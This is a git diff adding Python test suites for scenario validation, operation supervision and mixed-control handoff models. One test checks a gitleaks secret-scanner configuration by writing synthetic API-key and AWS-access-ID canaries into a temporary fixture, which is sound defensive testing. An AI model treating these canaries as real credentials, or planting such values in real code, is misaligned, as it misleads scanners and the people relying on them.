hasattr(objective, "actor_type") + assert not hasattr(objective, "actor_name") + assert model.participant_behaviors["participant.behavior.one"].affiliation_names == ("team",) + + +def test_unassigned_owner_constraints_are_intent_without_participant() -> None: + payload = _payload() + payload.pop("agents") + payload["propositions"]["ready"]["subjects"] = ["entities.team"] + payload["objectives"]["goal"]["actions"] = ["observe"] + model = compile_scenario_runtime_model(_parse(payload)) + assert not model.participant_behaviors + objective = model.objectives["evaluation.objective.goal"] + assert objective.owner_name == "team" + assert objective.assigned_participant_name == "" + assert objective.assigned_participant_address == "" + + +@pytest.mark.parametrize("assigned", [None, "one"]) +def test_objective_actions_always_require_declared_contracts(assigned: str | None) -> None: + payload = _payload() + payload["objectives"]["goal"].update(actions=["invented"]) + if assigned: + payload["objectives"]["goal"]["assigned_participant"] = assigned + payload["agents"][assigned]["actions"] = ["invented"] + with pytest.raises(SDLValidationError, match="action.*declared action_contract"): + _parse(payload) + + +def test_assignment_requires_the_selected_participants_action() -> None: + payload = _payload() + payload["objectives"]["goal"].update(assigned_participant="two", actions=["observe"]) + with pytest.raises(SDLValidationError, match="action.*not.*declared.*two"): + _parse(payload) + + +@pytest.mark.parametrize("field", ["owner", "assigned_participant"]) +def test_dangling_objective_relations_are_rejected(field: str) -> None: + payload = _payload() + payload["objectives"]["goal"][field] = "absent" + with pytest.raises(SDLValidationError, match="undefined"): + _parse(payload) + + +@pytest.mark.parametrize("assignment", [None, "one", "third"]) +def test_relationship_objective_membership_requires_endpoint_assignment(assignment: str | None) -> None: + payload = _payload() + payload["agents"]["third"] = {"affiliations": ["team"]} + payload["relationships"] = { + "pair": { + "type": "participant", + "source": "one", + "target": "two", + "participant": {"kind": "cooperation", "objective_refs": ["goal"]}, + } + } + if assignment: + payload["objectives"]["goal"]["assigned_participant"] = assignment + if assignment == "one": + _parse(payload) + else: + with pytest.raises(SDLValidationError, match="objective_refs.*assigned.*endpoint"): + _parse(payload) + + +@pytest.mark.parametrize( + ("affiliations", "role", "expected"), + [ + ([], None, ""), + (["team"], None, "red"), + (["team"], "blue", "blue"), + (["team", "other"], None, ""), + (["team", "other"], "green", "green"), + ], +) +def test_effective_role_has_one_explicit_compatibility_rule(affiliations, role, expected) -> None: + payload = { + "name": "roles", + "entities": {"team": {"role": "red"}, "other": {"role": "blue"}}, + "agents": {"subject": {"affiliations": affiliations, "role": role}}, + } + model = compile_scenario_runtime_model(_parse(payload)) + assert model.participant_behaviors["participant.behavior.subject"].role == expected + + +def test_role_selection_compiles_only_matching_effective_roles() -> None: + payload = _payload() + payload["agents"]["one"]["role"] = "blue" + payload["behavior_specifications"] = { + "blue-behavior": { + "semantic_version": "1.0.0", + "participant_role_refs": ["blue"], + "action_contract_refs": ["observe"], + } + } + model = compile_scenario_runtime_model(_parse(payload)) + behavior = model.behavior_specifications["participant.behavior-specification.blue-behavior"] + assert behavior.participant_addresses == ("participant.behavior.one",) + + +@pytest.mark.parametrize("affiliations", [["missing"], ["team", "team"]]) +def test_affiliations_require_distinct_declared_entities(affiliations) -> None: + payload = _payload() + payload["agents"]["one"]["affiliations"] = affiliations + with pytest.raises(SDLValidationError, match="affiliation"): + _parse(payload) + + +def test_legacy_fields_have_explicit_migration_guidance() -> None: + with pytest.raises(SDLParseError, match="migrate_participant_identity"): + _parse({"name": "old", "agents": {"one": {"entity": "team"}}}) + payload = _payload() + payload["objectives"]["goal"] = {"entity": "team", "success": {"assertions": ["done"]}} + with pytest.raises(SDLParseError, match="migrate_participant_identity"): + _parse(payload) diff --git a/implementations/python/tests/test_issue_1348_operation_supervision.py b/implementations/python/tests/test_issue_1348_operation_supervision.py new file mode 100644 index 000000000..358a4c1cf --- /dev/null +++ b/implementations/python/tests/test_issue_1348_operation_supervision.py @@ -0,0 +1,254 @@ +"""Bounded design witnesses; these are not runtime/backend conformance claims.""" + +from dataclasses import replace +from itertools import product + +import pytest +from operation_supervision_model import ( + Evidence, + Operation, + admit, + continuation_allowed, + deadline_expired, + publish, + settle, + start, + stop_admission, + supervise, +) + + +@pytest.mark.parametrize("supported,willing", [(False, True), (True, False), (False, False)]) +def test_required_guarantee_rejected_before_claim(supported: bool, willing: bool) -> None: + required = frozenset({"interrupt"}) + capabilities = required if supported else frozenset() + with pytest.raises(ValueError, match="admission"): + admit(required=required, supported=capabilities, willing=willing) + + +def test_stopping_admission_does_not_interrupt_running_work() -> None: + running = start(admit()) + stopped = stop_admission(running) + assert stopped.state == "RUNNING" + assert stopped.invocations == 1 + assert not stopped.quiescent + assert stopped.cancel == "none" + admission_closed = stop_admission(admit()) + with pytest.raises(ValueError, match="admission"): + start(admission_closed) + + +def test_pre_dispatch_cancellation_wins_without_backend_invocation() -> None: + cancelled = supervise(admit(), actor="supervisor") + assert cancelled.state == "CANCELLED" + assert cancelled.invocations == 0 + assert cancelled.actor == "author" + assert cancelled.supervisor == "supervisor" + assert cancelled.audit == ("CANCELLED",) + with pytest.raises(ValueError): + start(cancelled) + + +@pytest.mark.parametrize("reply", ["requested", "accepted", "refused", "unsupported"]) +def test_cancellation_disposition_is_not_a_terminal_outcome(reply: str) -> None: + requested = supervise(start(admit()), actor="operator", reply=reply) + assert requested.state == "RUNNING" + assert not requested.quiescent + assert requested.audit == () + terminal = settle(requested, Evidence("absent", quiescent=False), cancelled=True) + assert terminal.state == "INDETERMINATE" + assert terminal.quarantined + + +def test_supervision_reauthorizes_and_never_replaces_original_actor() -> None: + running = start(admit()) + with pytest.raises(ValueError, match="authorization"): + supervise(running, actor="other", authorized=False) + assert running.actor == "author" + assert running.supervisor is None + + +@pytest.mark.parametrize( + "effects,quiescent,validated,satisfies,expected", + [ + ("absent", True, True, False, "FAILED"), + ("partial", True, True, False, "FAILED"), + ("complete", True, True, True, "SUCCEEDED"), + ("complete", True, True, False, "FAILED"), + ("unknown", True, True, False, "INDETERMINATE"), + ("partial", False, True, False, "INDETERMINATE"), + ("complete", True, False, True, "INDETERMINATE"), + ("absent", False, True, False, "INDETERMINATE"), + ], +) +def test_outcome_requires_effect_evidence_and_full_semantic_satisfaction( + effects: str, + quiescent: bool, + validated: bool, + satisfies: bool, + expected: str, +) -> None: + terminal = settle(start(admit()), Evidence(effects, quiescent, validated, satisfies)) + assert terminal.state == expected + assert terminal.audit == (expected,) + assert terminal.quarantined == (expected == "INDETERMINATE") + + +def test_proven_cancellation_can_retain_known_partial_effects() -> None: + running = supervise(start(admit()), actor="operator", reply="accepted") + result = settle(running, Evidence("partial", quiescent=True), cancelled=True) + assert result.state == "CANCELLED" + assert result.effects == "partial" + assert not result.quarantined + assert result.revision == running.revision + 1 + + +def test_validated_noop_can_satisfy_the_contract_without_snapshot_change() -> None: + running = start(admit()) + result = settle(running, Evidence("absent", quiescent=True, satisfies=True)) + assert result.state == "SUCCEEDED" + assert result.revision == running.revision + + +def test_completion_cancel_race_commits_only_one_terminal_result() -> None: + running = start(admit()) + completed = settle(running, Evidence("complete", True, satisfies=True)) + assert supervise(completed, actor="operator") == completed + absent_after_terminal = Evidence("absent", True) + with pytest.raises(ValueError, match="terminal"): + settle(completed, absent_after_terminal, cancelled=True) + requested = supervise(running, actor="operator", reply="accepted") + # An accepted request does not make an already-completed effect disappear. + result = settle(requested, Evidence("complete", True, satisfies=True)) + assert result.state == "SUCCEEDED" + assert result.cancel == "accepted" + + +def test_duplicate_cancel_and_late_completion_do_not_reinvoke_or_rewrite() -> None: + requested = supervise(start(admit()), actor="operator") + assert supervise(requested, actor="operator") == requested + terminal = settle(requested, Evidence("unknown", False)) + completed_after_terminal = Evidence("complete", True, satisfies=True) + with pytest.raises(ValueError, match="terminal"): + settle(terminal, completed_after_terminal) + assert terminal.invocations == 1 + assert terminal.state == "INDETERMINATE" + assert terminal.quarantined + + +def test_stale_revision_cannot_publish_or_authorize_another_invocation() -> None: + running = start(admit()) + completed = Evidence("complete", True, satisfies=True) + with pytest.raises(ValueError, match="revision"): + settle(running, completed, expected_revision=99) + assert running.invocations == 1 + assert running.state == "RUNNING" + + +@pytest.mark.parametrize("persisted", [False, True]) +def test_lost_commit_acknowledgement_preserves_atomic_cut_and_closes_admission(persisted: bool) -> None: + before = start(admit()) + after = settle(before, Evidence("complete", True, satisfies=True)) + result = publish(before, after, persisted=persisted, acknowledged=False) + assert result.visible == before + assert result.poisoned + assert result.authoritative in (before, after) + assert (result.authoritative.state == "SUCCEEDED") == bool(result.authoritative.audit) + assert result.authoritative.invocations == 1 + + +def test_acknowledged_commit_exposes_snapshot_terminal_and_audit_together() -> None: + before = start(admit()) + after = settle(before, Evidence("partial", True)) + result = publish(before, after, persisted=True, acknowledged=True) + assert result.visible == result.authoritative == after + assert (after.state, after.effects, after.audit) == ("FAILED", "partial", ("FAILED",)) + + +def test_operational_deadline_is_monotonic_and_independent_of_scenario_pause() -> None: + assert not deadline_expired(started=10, now=14, budget=5) + assert deadline_expired(started=10, now=15, budget=5) + assert deadline_expired(started=10, now=16, budget=5) + with pytest.raises(ValueError): + deadline_expired(started=10, now=9, budget=5) + # Expiry supplies no effect or cessation evidence, even if semantic time is paused. + assert settle(start(admit()), Evidence("unknown", False)).state == "INDETERMINATE" + + +@pytest.mark.parametrize("action", ["retry", "resume", "new-trial"]) +@pytest.mark.parametrize("durable", [False, True]) +def test_durability_never_supplies_missing_authored_permission(action: str, durable: bool) -> None: + assert not continuation_allowed( + action, + permitted=False, + durable=durable, + quiescent=True, + effects="absent", + continuity=True, + allocated=True, + clean=True, + ) + + +def test_resume_requires_continuity_and_new_trial_requires_allocation_and_clean_state() -> None: + assert not continuation_allowed("resume", permitted=True, quiescent=True, effects="absent") + assert continuation_allowed("resume", permitted=True, quiescent=True, effects="partial", continuity=True) + assert not continuation_allowed("new-trial", permitted=True, quiescent=True, effects="absent", clean=True) + assert not continuation_allowed("new-trial", permitted=True, quiescent=True, effects="absent", allocated=True) + assert continuation_allowed( + "new-trial", permitted=True, quiescent=True, effects="absent", allocated=True, clean=True + ) + + +@pytest.mark.parametrize("posture", ["disallow", "idempotent", "reset", "compensate"]) +def test_after_effect_retry_needs_selected_safety_evidence_and_remaining_budget(posture: str) -> None: + args = dict(permitted=True, quiescent=True, effects="partial", posture=posture) + assert not continuation_allowed("retry", **args) + assert continuation_allowed("retry", **args, safety_proved=True) == (posture != "disallow") + assert not continuation_allowed("retry", **args, safety_proved=True, attempts_left=0) + assert not continuation_allowed("retry", **{**args, "quiescent": False}, safety_proved=True) + + +def test_unknown_residual_effects_block_all_continuations_in_the_affected_scope() -> None: + for action in ("retry", "resume", "new-trial"): + assert not continuation_allowed( + action, + permitted=True, + quiescent=True, + effects="unknown", + continuity=True, + allocated=True, + clean=True, + safety_proved=True, + ) + + +def test_bounded_outcome_space_never_confuses_uncertainty_with_success_or_cancellation() -> None: + running = supervise(start(admit()), actor="operator", reply="accepted") + for effects, quiescent, validated, satisfies, cancelled in product( + ("absent", "partial", "complete", "unknown"), + (False, True), + (False, True), + (False, True), + (False, True), + ): + result = settle(running, Evidence(effects, quiescent, validated, satisfies), cancelled=cancelled) + if not quiescent or not validated or effects == "unknown": + assert result.state == "INDETERMINATE" + assert result.quarantined + assert len(result.audit) == 1 + assert result.invocations == 1 + assert result.actor == running.actor + + +def test_invalid_model_inputs_are_not_positive_evidence() -> None: + invented_effect = Evidence("invented", True) + running = start(admit()) + with pytest.raises(ValueError): + settle(running, invented_effect) + running = start(admit()) + with pytest.raises(ValueError): + supervise(running, actor="operator", reply="done") + terminal = replace(Operation(), state="FAILED") + with pytest.raises(ValueError): + start(terminal) diff --git a/implementations/python/tests/test_issue_1350_fixture_secret_scan.py b/implementations/python/tests/test_issue_1350_fixture_secret_scan.py new file mode 100644 index 000000000..e603a160e --- /dev/null +++ b/implementations/python/tests/test_issue_1350_fixture_secret_scan.py @@ -0,0 +1,83 @@ +"""The retained DBOS fixture exception must not hide other credentials.""" + +import hashlib +import json +import subprocess +from pathlib import Path + +import pytest + + +def test_retained_experiment_sources_match_recorded_hashes() -> None: + research = Path(__file__).resolve().parents[3] / "docs/research/execution-architecture" + evidence = json.loads((research / "evidence.json").read_text(encoding="utf-8")) + for record in evidence["source_sha256"]: + expected, filename = record.split(maxsplit=1) + assert hashlib.sha256((research / "experiments" / filename).read_bytes()).hexdigest() == expected, filename + + +@pytest.mark.integration +def test_dbos_fixture_exception_preserves_secret_detection(tmp_path: Path) -> None: + repo = Path(__file__).resolve().parents[3] + scan = tmp_path / "scan" + fixture = scan / "docs/research/execution-architecture/experiments/probe_dbos.py" + fixture.parent.mkdir(parents=True) + known_fixture = 'key = "' + "dbos-" + "r2-cancel" + '"\n' + # Synthetic scanner canaries, never usable credentials. Construct them so + # this regression source itself does not contain a credential-shaped literal. + generic_canary = "Ab9x" + "Q7mR" + "4vN2" + "kL8p" + "W6zT" + aws_canary = "AKIA" + "QW7R" + "TM3P" + "X5NH" + "Z2VS" + fixture.write_text( + known_fixture + f'api_key = "{generic_canary}"\naccess_id = "{aws_canary}"\n', + encoding="utf-8", + ) + elsewhere = scan / "other.py" + elsewhere.write_text(known_fixture, encoding="utf-8") + report = tmp_path / "report.json" + # The installer belongs to the frozen tooling closure, not the runtime's + # Python compatibility environment. Use the existing external-tool boundary. + installed = subprocess.run( + [ + "uv", + "run", + "--project", + str(repo / "implementations/tooling/python"), + "--frozen", + "--no-default-groups", + "python", + "-c", + "from tools.gitleaks_tool import ensure_gitleaks; print(ensure_gitleaks())", + ], + cwd=repo, + capture_output=True, + text=True, + check=True, + timeout=90, + ) + result = subprocess.run( + [ + installed.stdout.strip(), + "dir", + "--config", + str(repo / ".gitleaks.toml"), + "--no-banner", + "--redact", + "--log-level", + "error", + "--report-format", + "json", + "--report-path", + str(report), + str(scan), + ], + capture_output=True, + check=False, + timeout=30, + ) + assert result.returncode == 1 + findings = json.loads(report.read_text(encoding="utf-8")) + observed = {(Path(item["File"]).name, item["StartLine"], item["RuleID"]) for item in findings} + assert (fixture.name, 1, "generic-api-key") not in observed + assert (fixture.name, 2, "generic-api-key") in observed + assert (fixture.name, 3, "aws-access-token") in observed + assert (elsewhere.name, 1, "generic-api-key") in observed diff --git a/implementations/python/tests/test_issue_1351_mixed_control_design.py b/implementations/python/tests/test_issue_1351_mixed_control_design.py new file mode 100644 index 000000000..1bd0b90ef --- /dev/null +++ b/implementations/python/tests/test_issue_1351_mixed_control_design.py @@ -0,0 +1,538 @@ +"""Bounded design falsification for #1351, not the production control evaluator. + +The model assumes trusted policy/target resolution, an admitted total order and +an atomic store. It deliberately does not model providers, transport or clocks. +The specification and worked cases state those assumptions and the claim limits. +""" + +from __future__ import annotations + +from dataclasses import dataclass, replace +from itertools import permutations, product + +import pytest +from raes.participant_behavior_specification import MixedControlTransitionKind as Kind + + +@dataclass(frozen=True) +class Edge: + kind: Kind + source: str + destination: str + targets: tuple[str, ...] = () + + +EDGES = { + "take": Edge(Kind.HANDOFF, "A", "B"), + "return": Edge(Kind.HANDOFF, "B", "A"), + "propose": Edge(Kind.PROPOSAL, "A", "A"), + "approve": Edge(Kind.APPROVAL, "B", "B", ("proposal",)), + "deny": Edge(Kind.DENIAL, "B", "B", ("proposal",)), + "direct": Edge(Kind.EXTERNAL_DIRECTION, "B", "B", ("proposal", "action", "control")), + "intervene": Edge(Kind.INTERVENTION, "B", "B", ("action", "control", "attempt")), +} +CONTROLLERS = {"A": "self", "B": "supervisor"} + + +@dataclass(frozen=True) +class Target: + kind: str + identity: str + revision: int = 1 + episode: str = "e1" + available_at: int = 0 + + +@dataclass(frozen=True) +class Request: + key: str + edge: str + actor: str + expected_state: str + expected_revision: int + expected_head: int + order: int + episode: str = "e1" + policy: str = "p1" + scope: frozenset[str] = frozenset({"node"}) + target: Target | None = None + proposal: str | None = None + evidence: tuple[str, ...] = ("evidence",) + completion: str | None = "handoff-completion" + + +@dataclass(frozen=True) +class Record: + request: Request + principal: str + disposition: str + state: str + revision: int + position: int + policy: str + + +@dataclass(frozen=True) +class State: + episode: str = "e1" + policy: str = "p1" + phase: str = "running" + current: str = "A" + revision: int = 0 + last_order: int = -1 + history: tuple[Record, ...] = () + targets: tuple[Target, ...] = () + incumbent_targets: tuple[Target, ...] = () + decided: frozenset[Target] = frozenset() + script: tuple[str, ...] | None = None + cursor: int = 0 + grant_active: bool = True + grant_scope: frozenset[str] = frozenset({"node"}) + order_window: tuple[int, int] = (0, 1000) + clock: tuple[str, int] = ("clock", 0) + tick: int = 100 + validity_clock: tuple[str, int] = ("clock", 0) + clock_window: tuple[int, int] = (90, 110) + history_limit: int = 100 + revision_limit: int = 1_000_000 + + +def request(state: State, key: str, edge: str, **changes: object) -> Request: + """A candidate at the trusted cut; order is independent of semantic time.""" + candidate = Request( + key=key, + edge=edge, + actor=CONTROLLERS[state.current], + expected_state=state.current, + expected_revision=state.revision, + expected_head=len(state.history), + order=state.last_order + 10, + episode=state.episode, + policy=state.policy, + ) + return replace(candidate, **changes) + + +def apply( + state: State, + candidate: Request, + *, + principal: str = "operator", + subjects: frozenset[str] = frozenset({"self", "supervisor"}), + commit: bool = True, +) -> tuple[State, str]: + """Abstract relation; one target/run/operation kind is fixed by the model.""" + if candidate.actor not in subjects: + return state, "unauthorized" + for record in state.history: + if (record.principal, record.request.key) == (principal, candidate.key): + disposition = record.disposition if record.request == candidate else "identity-conflict" + return state, disposition + if candidate.episode != state.episode: + return state, "episode" + if len(state.history) >= state.history_limit: + return state, "exhausted" + reason = rejection(state, candidate) + current, revision = state.current, state.revision + targets, decided, cursor = state.targets, state.decided, state.cursor + if reason is None: + edge = EDGES[candidate.edge] + current, revision = edge.destination, revision + 1 + if edge.kind is Kind.PROPOSAL: + targets += ( + Target("proposal", candidate.proposal, episode=state.episode, available_at=len(state.history) + 1), + ) + position = len(state.history) + 1 + targets += (Target("control", f"event:{position}", position, state.episode, position),) + if edge.kind in {Kind.APPROVAL, Kind.DENIAL}: + decided |= {candidate.target} + if state.script is not None: + cursor += 1 + if not commit: + return state, "commit-failed" + disposition = reason or "accepted" + record = Record(candidate, principal, disposition, current, revision, len(state.history) + 1, state.policy) + result = replace( + state, + current=current, + revision=revision, + last_order=candidate.order if reason is None else state.last_order, + history=(*state.history, record), + targets=targets, + decided=decided, + cursor=cursor, + ) + return result, disposition + + +def rejection(state: State, candidate: Request) -> str | None: + """A finite projection of MC-03 through MC-08, not a wire validator.""" + edge = EDGES.get(candidate.edge) + if edge is None: + return "edge" + checks = ( + (state.phase == "running", "episode-state"), + (candidate.policy == state.policy, "policy"), + (state.revision < state.revision_limit, "exhausted"), + ( + candidate.expected_state == state.current == edge.source and candidate.expected_revision == state.revision, + "stale-state", + ), + (candidate.expected_head == len(state.history), "stale-head"), + (candidate.actor == CONTROLLERS[edge.source], "controller"), + (bool(candidate.scope) and candidate.scope <= state.grant_scope and candidate.scope <= {"node"}, "scope"), + (state.grant_active, "revoked"), + (candidate.order > state.last_order, "order"), + (state.order_window[0] <= candidate.order <= state.order_window[1], "validity"), + (state.clock == state.validity_clock, "validity"), + (state.clock_window[0] <= state.tick <= state.clock_window[1], "validity"), + (bool(candidate.evidence), "evidence"), + (edge.kind is not Kind.HANDOFF or bool(candidate.completion), "completion"), + ) + for valid, reason in checks: + if not valid: + return reason + if state.script is not None: + if state.cursor >= len(state.script): + return "script-exhausted" + if state.script[state.cursor] != candidate.edge: + return "script-step" + if edge.kind is Kind.PROPOSAL: + if not candidate.proposal or any( + target.kind == "proposal" and target.identity == candidate.proposal for target in state.targets + ): + return "proposal-identity" + if edge.targets: + target = candidate.target + if target is None or target.kind not in edge.targets or target.episode != state.episode: + return "target" + incumbent = tuple( + item + for item in state.incumbent_targets + if item.kind in {"action", "attempt"} and item.available_at <= len(state.history) + ) + if target not in (*state.targets, *incumbent): + return "target" + if target in state.decided: + return "decided-proposal" + return None + + +def deliver(state: State, control: Record, *, position: int, actor: str, episode: str) -> bool: + """Project only the exact control-application join, not actual delivery.""" + return ( + control in state.history + and control.position == position + and control.request.episode == episode == state.episode + and control.request.actor == actor + and control.disposition == "accepted" + and EDGES[control.request.edge].kind in {Kind.EXTERNAL_DIRECTION, Kind.INTERVENTION} + ) + + +def apply_batch(state: State, candidates: tuple[Request, ...]) -> tuple[State, dict[str, str]]: + """Candidate group at one cut, before the admitted order is resolved.""" + if len({candidate.order for candidate in candidates}) != len(candidates): + return state, {candidate.key: "ambiguous-order" for candidate in candidates} + outcomes = {} + for candidate in sorted(candidates, key=lambda item: item.order): + state, outcomes[candidate.key] = apply(state, candidate) + return state, outcomes + + +def replay(records: tuple[Record, ...], *, episode: str, policy: str) -> tuple[str, int]: + """Reconstruct one pinned episode; no dispatch or current-clock validation.""" + current, revision, order = "A", 0, -1 + for position, record in enumerate(records, start=1): + if record.position != position: + raise ValueError("history continuity") + if record.request.episode != episode: + continue + if record.policy != policy: + raise ValueError("pinned policy mismatch") + if record.disposition == "accepted": + candidate = record.request + edge = EDGES[candidate.edge] + if ( + candidate.policy != policy + or candidate.expected_state != current + or edge.source != current + or candidate.expected_revision != revision + or candidate.order <= order + ): + raise ValueError("accepted continuity") + current, revision, order = edge.destination, revision + 1, candidate.order + if (record.state, record.revision) != (current, revision): + raise ValueError("result continuity") + return current, revision + + +def accepted(state: State, key: str, edge: str, **changes: object) -> State: + result, disposition = apply(state, request(state, key, edge, **changes)) + assert disposition == "accepted" + return result + + +def test_same_edges_complete_two_cycles_with_fresh_revisions() -> None: + state = State() + for index, edge in enumerate(("take", "return", "take", "return"), start=1): + state = accepted(state, f"h{index}", edge) + assert state.revision == index + assert state.current == "A" + assert [record.request.edge for record in state.history] == ["take", "return", "take", "return"] + assert replay(state.history, episode="e1", policy="p1") == ("A", 4) + + +def test_returning_to_a_state_does_not_revive_a_stale_request() -> None: + initial = State() + stale = request(initial, "late", "take") + state = accepted(accepted(initial, "h1", "take"), "h2", "return") + result, disposition = apply(state, stale) + assert disposition == "stale-state" + assert (result.current, result.revision) == ("A", 2) + assert result.history[:2] == state.history + assert len(result.history) == 3 + assert result.last_order == state.last_order + + +def test_retry_uses_original_receipt_and_preserves_store_key_scope() -> None: + initial = State() + first = request(initial, "key", "take") + state, _ = apply(initial, first) + state = accepted(state, "return", "return") + assert apply(state, first) == (state, "accepted") + assert apply(state, replace(first, order=99)) == (state, "identity-conflict") + restarted = replace(state, episode="e2", policy="p2", current="A", revision=0, last_order=-1) + assert apply(restarted, first) == (restarted, "accepted") + assert apply(restarted, request(restarted, "key", "take")) == (restarted, "identity-conflict") + assert apply(state, first, subjects=frozenset()) == (state, "unauthorized") + + +def test_ordered_concurrency_revalidates_without_rebasing() -> None: + initial = State() + contenders = (request(initial, "first", "take", order=10), request(initial, "second", "take", order=20)) + # Arrival permutations do not choose the semantic winner: the admitted order does. + for arrival in permutations(contenders): + state, outcomes = apply_batch(initial, arrival) + assert outcomes == {"first": "accepted", "second": "stale-state"} + assert state.revision == 1 + + +def test_ambiguous_order_has_no_arrival_selected_winner() -> None: + initial = State() + contenders = (request(initial, "first", "take", order=10), request(initial, "second", "take", order=10)) + for arrival in permutations(contenders): + state, outcomes = apply_batch(initial, arrival) + assert state == initial + assert outcomes == {"first": "ambiguous-order", "second": "ambiguous-order"} + + +def test_selected_consumer_coordinate_limit_cannot_wrap() -> None: + state = replace(State(), revision=1_000_000) + result, reason = apply(state, request(state, "overflow", "take")) + assert reason == "exhausted" + assert result.revision == state.revision + + +def test_script_rejection_retains_cursor_and_proposal_identity_is_immutable() -> None: + state = State(script=("propose", "take")) + state, reason = apply(state, request(state, "wrong-slot", "take")) + assert reason == "script-step" + assert state.cursor == 0 + state = accepted(state, "proposal", "propose", proposal="p") + assert state.cursor == 1 + reusable = replace(state, script=None) + result, reason = apply(reusable, request(reusable, "duplicate", "propose", proposal="p")) + assert reason == "proposal-identity" + assert result.revision == reusable.revision + + +@pytest.mark.parametrize("target", [Target("action", "p"), Target("proposal", "p", episode="e2")]) +def test_target_kind_and_episode_cannot_be_inferred_from_an_identity(target: Target) -> None: + state = accepted(State(), "p", "propose", proposal="p") + state = accepted(state, "h", "take") + state, reason = apply(state, request(state, "approval", "approve", target=target)) + assert reason == "target" + assert state.revision == 2 + + +@pytest.mark.parametrize( + ("changes", "reason"), + [ + ({"actor": "supervisor"}, "controller"), + ({"scope": frozenset({"other-node"})}, "scope"), + ({"policy": "p2"}, "policy"), + ({"episode": "e2"}, "episode"), + ({"evidence": ()}, "evidence"), + ({"completion": None}, "completion"), + ({"expected_revision": 9}, "stale-state"), + ({"expected_head": 9}, "stale-head"), + ({"order": 2000}, "validity"), + ], +) +def test_invalid_occurrence_cannot_change_controller_state(changes: dict, reason: str) -> None: + state = State() + result, disposition = apply(state, request(state, "bad", "take", **changes)) + assert disposition == reason + assert (result.current, result.revision) == (state.current, state.revision) + assert result.targets == () + + +@pytest.mark.parametrize( + ("changes", "reason"), + [ + ({"phase": "initializing"}, "episode-state"), + ({"phase": "terminated"}, "episode-state"), + ({"grant_active": False}, "revoked"), + ({"tick": 111}, "validity"), + ({"clock": ("clock", 1)}, "validity"), + ({"clock": ("other", 0)}, "validity"), + ({"history_limit": 0}, "exhausted"), + ], +) +def test_trusted_cut_controls_live_eligibility(changes: dict, reason: str) -> None: + state = replace(State(), **changes) + result, disposition = apply(state, request(state, "bad", "take")) + assert disposition == reason + assert (result.current, result.revision) == (state.current, state.revision) + + +def test_time_is_not_control_order_and_windows_are_inclusive() -> None: + for tick, order in product((90, 110), (0, 1000)): + state = replace(State(), tick=tick) + assert apply(state, request(state, "valid", "take", order=order))[1] == "accepted" + + +def test_same_state_proposal_and_decision_have_independent_revisions() -> None: + state = accepted(State(), "p1", "propose", proposal="proposal-1") + assert (state.current, state.revision) == ("A", 1) + proposal = state.targets[0] + state = accepted(state, "h1", "take") + state = accepted(state, "a1", "approve", target=proposal) + assert (state.current, state.revision) == ("B", 3) + assert proposal.revision == 1 + state = accepted(state, "h2", "return") + state = accepted(state, "p2", "propose", proposal="proposal-2") + state = accepted(state, "h3", "take") + result, reason = apply(state, request(state, "a2", "approve", target=proposal)) + assert reason == "decided-proposal" + assert result.revision == state.revision + assert apply(state, request(state, "future", "approve", target=Target("proposal", "future")))[1] == "target" + + +def test_finite_script_does_not_acquire_a_second_cycle() -> None: + state = State(script=("take", "return")) + state = accepted(accepted(state, "h1", "take"), "h2", "return") + result, reason = apply(state, request(state, "h3", "take")) + assert reason == "script-exhausted" + assert result.revision == 2 + assert result.cursor == 2 + + +def test_failed_atomic_commit_produces_no_occurrence_or_receipt() -> None: + state = State() + candidate = request(state, "h1", "take") + assert apply(state, candidate, commit=False) == (state, "commit-failed") + committed, disposition = apply(state, candidate) + assert disposition == "accepted" + assert len(committed.history) == 1 + assert apply(committed, candidate) == (committed, "accepted") + + +def test_delivery_joins_exact_control_occurrence_and_source_actor() -> None: + state = accepted(State(), "p1", "propose", proposal="proposal-1") + target = state.targets[0] + state = accepted(state, "h1", "take") + state = accepted(state, "d1", "direct", target=target) + first = state.history[-1] + state = accepted(state, "h2", "return") + state = accepted(state, "h3", "take") + state = accepted(state, "d2", "direct", target=target) + second = state.history[-1] + assert deliver(state, second, position=second.position, actor="supervisor", episode="e1") + assert not deliver(state, first, position=second.position, actor="supervisor", episode="e1") + assert not deliver(state, second, position=second.position, actor="self", episode="e1") + assert not deliver(state, second, position=second.position, actor="supervisor", episode="e2") + assert not deliver(state, state.history[1], position=2, actor="self", episode="e1") + + +def test_replay_uses_pinned_policy_and_rejects_tampered_continuity() -> None: + state = accepted(accepted(State(), "h1", "take"), "h2", "return") + with pytest.raises(ValueError, match="policy"): + replay(state.history, episode="e1", policy="p2") + altered = replace(state.history[1], revision=99) + with pytest.raises(ValueError, match="continuity"): + replay((state.history[0], altered), episode="e1", policy="p1") + + +def test_bounded_cycles_keep_history_prefix_and_revision_invariants() -> None: + # Exhaust 64 six-attempt patterns. Stale attempts append rejection facts; + # accepted visits alone advance the control revision and order. + for choices in product((False, True), repeat=6): + state = State() + for index, valid in enumerate(choices): + edge = "take" if state.current == "A" else "return" + candidate = request(state, str(index), edge) + if not valid: + candidate = replace(candidate, expected_revision=state.revision + 1) + previous = state + state, disposition = apply(state, candidate) + assert state.history[: len(previous.history)] == previous.history + assert state.revision == previous.revision + int(valid) + assert (disposition == "accepted") == valid + assert replay(state.history, episode="e1", policy="p1") == (state.current, state.revision) + + +@pytest.mark.parametrize( + ("edge", "kind"), + [ + ("direct", "proposal"), + ("direct", "action"), + ("direct", "control"), + ("intervene", "action"), + ("intervene", "control"), + ("intervene", "attempt"), + ], +) +def test_each_direction_intervention_target_kind_at_the_exact_cut(edge: str, kind: str) -> None: + state = accepted(State(), "proposal", "propose", proposal="p") + state = accepted(state, "handoff", "take") + if kind == "proposal": + target = state.targets[0] + elif kind == "control": + target = Target("control", "event:2", revision=2, available_at=2) + else: + # Trusted action/attempt owner projection, separate from control history. + target = Target(kind, "incumbent", available_at=2) + state = replace(state, incumbent_targets=(target,)) + result, disposition = apply(state, request(state, "valid", edge, target=target)) + assert disposition == "accepted" + assert result.revision == 3 + assert deliver(result, result.history[-1], position=3, actor="supervisor", episode="e1") + for invalid in ( + replace(target, revision=99), + replace(target, episode="e2"), + replace(target, identity="future"), + replace(target, kind="decision"), + ): + result, disposition = apply(state, request(state, "invalid", edge, target=invalid)) + assert disposition == "target" + assert result.revision == state.revision + + +def test_future_incumbent_and_rejected_control_cannot_authorize_a_target() -> None: + state = accepted(State(), "handoff", "take") + future = Target("action", "future", available_at=99) + state = replace(state, incumbent_targets=(future,)) + result, reason = apply(state, request(state, "future-direction", "direct", target=future)) + assert reason == "target" + assert result.revision == 1 + rejected = Target("control", "event:2", revision=2, available_at=2) + result, reason = apply(result, request(result, "rejected-target", "intervene", target=rejected)) + assert reason == "target" + assert result.revision == 1 